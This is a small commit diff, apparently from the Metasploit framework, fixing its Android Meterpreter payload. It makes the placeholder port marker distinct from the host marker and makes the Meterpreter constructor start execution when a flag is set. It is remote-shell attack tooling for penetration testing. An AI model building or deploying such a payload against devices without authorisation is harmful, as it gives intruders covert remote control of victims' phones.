fix obvious breakage

timwr · Tim Wright · commit 0d0c728da456 · 2013-04-18T10:24:50.000+01:00
diff --git a/external/source/javapayload/androidpayload/app/src/com/metasploit/stage/MainActivity.java b/external/source/javapayload/androidpayload/app/src/com/metasploit/stage/MainActivity.java
@@ -15,7 +15,7 @@ public class MainActivity extends Activity
 {
     // avoid re-ordering the strings in classes.dex - append XXXX
     private static final String LHOST = "XXXX127.0.0.1                       ";
-    private static final String LPORT = "XXXX4444                            ";
+    private static final String LPORT = "YYYY4444                            ";
 	
     @Override
     public void onCreate(Bundle savedInstanceState)
diff --git a/external/source/javapayload/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java b/external/source/javapayload/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java
@@ -86,6 +86,9 @@ public Meterpreter(DataInputStream in, OutputStream rawOut, boolean loadExtensio
 			errBuffer = null;
 			err = System.err;
 		}
+		if (beginExecution) {
+			startExecuting();
+		}
 	}
 	
 	public void startExecuting() throws Exception {

Original file line number	Diff line number	Diff line change
`@@ -15,7 +15,7 @@ public class MainActivity extends Activity`
`15`	`15`	`{`
`16`	`16`	`// avoid re-ordering the strings in classes.dex - append XXXX`
`17`	`17`	`private static final String LHOST = "XXXX127.0.0.1 ";`
`18`		`- private static final String LPORT = "XXXX4444 ";`
	`18`	`+ private static final String LPORT = "YYYY4444 ";`
`19`	`19`
`20`	`20`	`@Override`
`21`	`21`	`public void onCreate(Bundle savedInstanceState)`
Original file line number	Diff line number	Diff line change
`@@ -86,6 +86,9 @@ public Meterpreter(DataInputStream in, OutputStream rawOut, boolean loadExtensio`
`86`	`86`	`errBuffer = null;`
`87`	`87`	`err = System.err;`
`88`	`88`	`}`
	`89`	`+ if (beginExecution) {`
	`90`	`+ startExecuting();`
	`91`	`+ }`
`89`	`92`	`}`
`90`	`93`
`91`	`94`	`public void startExecuting() throws Exception {`